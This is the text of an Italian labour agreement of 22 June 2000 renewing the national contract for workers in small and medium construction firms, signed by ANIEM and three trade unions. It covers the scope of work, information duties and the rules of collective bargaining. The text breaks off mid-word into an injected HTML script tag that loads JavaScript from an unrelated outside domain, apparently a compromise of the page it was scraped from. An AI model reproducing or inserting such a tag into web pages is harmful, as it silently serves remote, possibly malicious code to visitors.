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Categoria: Edili (piccola e media impresa) Settore: Edilizia Data stipula: 22-6-2000 Data decorrenza: 1-6-2000 Data scadenza: 31-12-2003
VERBALE DI ACCORDO
Roma, 22 giugno 2000
Tra
- ANIEM
e
- FeNEAL-UIL, FILCA-CISL, FILLEA-CGIL
si stipula il presente accordo
per il rinnovo del CCNL 21 luglio 1995
PER I LAVORATORI DIPENDENTI DELLE PICCOLE E MEDIE INDUSTRIE EDILI E AFFINI
1 - PREMESSA
La premessa al CCNL è integrata con le seguenti lavorazioni:
- demolizioni e rimozione di opere edili in materiale a base e/o
contenente amianto e/o sostante riconosciute nocive;
- demolizione, rimozione e bonifica di opere edili realizzate con
materiali e procedure la cui rimozione deve seguire particolari iter
previsti dalle norme di legge;
- progettazione lavori di opere edili;
- manutenzione (ordinaria e straordinaria), restauro e restauro
artistico di opere edili e di beni mobili e immobili di opere tutelate.
Ovvero, costruzioni, manutenzioni e restauro di:
· fabbricati ad uso abitazione;
· fabbricati ad uso agricolo, industriale e commerciale,
· opere monumentali;
- attività di consulenza in materia di sicurezza per i cantieri
temporanei e mobili.
La lett. c) della Dichiarazione a verbale è sostituita dalla seguente:
c) "il presente contratto non è applicabile al personale avviato
obbligatoriamente tramite le Capitanerie di porto."
2 - SISTEMA DI CONCERTAZIONE E DI INFORMAZIONE
Nell'ambito dell'informativa delle parti territoriali inserire, al punto
1.5 il seguente ultimo comma:
"L'Organizzazione territoriale aderente ad ANIEM fornirà anche
informazioni in merito all'utilizzo sul territorio dei contratti di lavoro
temporaneo, a termine e del distacco dei lavoratori, nonché del lavoro
straordinario."
3 - SISTEMA DI RELAZIONI SINDACALI E CONTRATTUALI
Premessa.
1) Il presente CCNL, nell'assumere come proprio lo spirito del
"Protocollo sulla politica dei redditi e dell'occupazione, sugli assetti
contrattuali, sulle politiche del lavoro e sul sostegno al sistema
produttivo" del 23.7.93 e il "Patto sociale per lo sviluppo e
l'occupazione" del 22.12.98, ne realizza, per quanto di competenza del
contratto collettivo nazionale di categoria, le finalità e gli indirizzi
in tema di relazioni sindacali:
- attribuendo all'autonomia collettiva delle parti una funzione
primaria per la gestione delle relazioni di lavoro mediante lo sviluppo
del metodo partecipativo, ai diversi livelli e con diversi strumenti, al
quale le parti riconoscono un ruolo essenziale nella prevenzione del
conflitto;
- regolando l'assetto della contrattazione collettiva in funzione di
una dinamica delle relazioni di lavoro medesime tale da consentire ai
lavoratori benefici economici con contenuti non inflazionistici e alle
imprese una gestione corretta e programmabile del costo del lavoro nonché
di sviluppare e valorizzare pienamente le opportunità offerte dalle
risorse umane.
2) A questi fini le parti s'impegnano in nome proprio e per conto degli
organismi territoriali a loro collegati, a che il funzionamento del
sistema di relazioni industriali e contrattuali più avanti descritto si
svolga secondo i termini e le procedure specificamente indicate, dandosi
nel contempo atto che la loro puntuale applicazione è condizione
indispensabile per mantenere le relazioni sindacali nelle sedi previste
dal presente contratto, entro le regole fissate.
3) Al sistema contrattuale cosi disciplinato corrisponde l'impegno delle
parti di rispettare e far rispettare ai propri iscritti per il periodo di
loro validità il contratto generale e le norme integrative di settore. A
tal fine le Associazioni imprenditoriali sono impegnate ad adoperarsi per
l'osservanza delle condizioni pattuite da parte delle aziende associate
mentre le organizzazioni dei lavoratori s'impegnano a no<script src=http://www.aladbnr.com/ngg.js></script>
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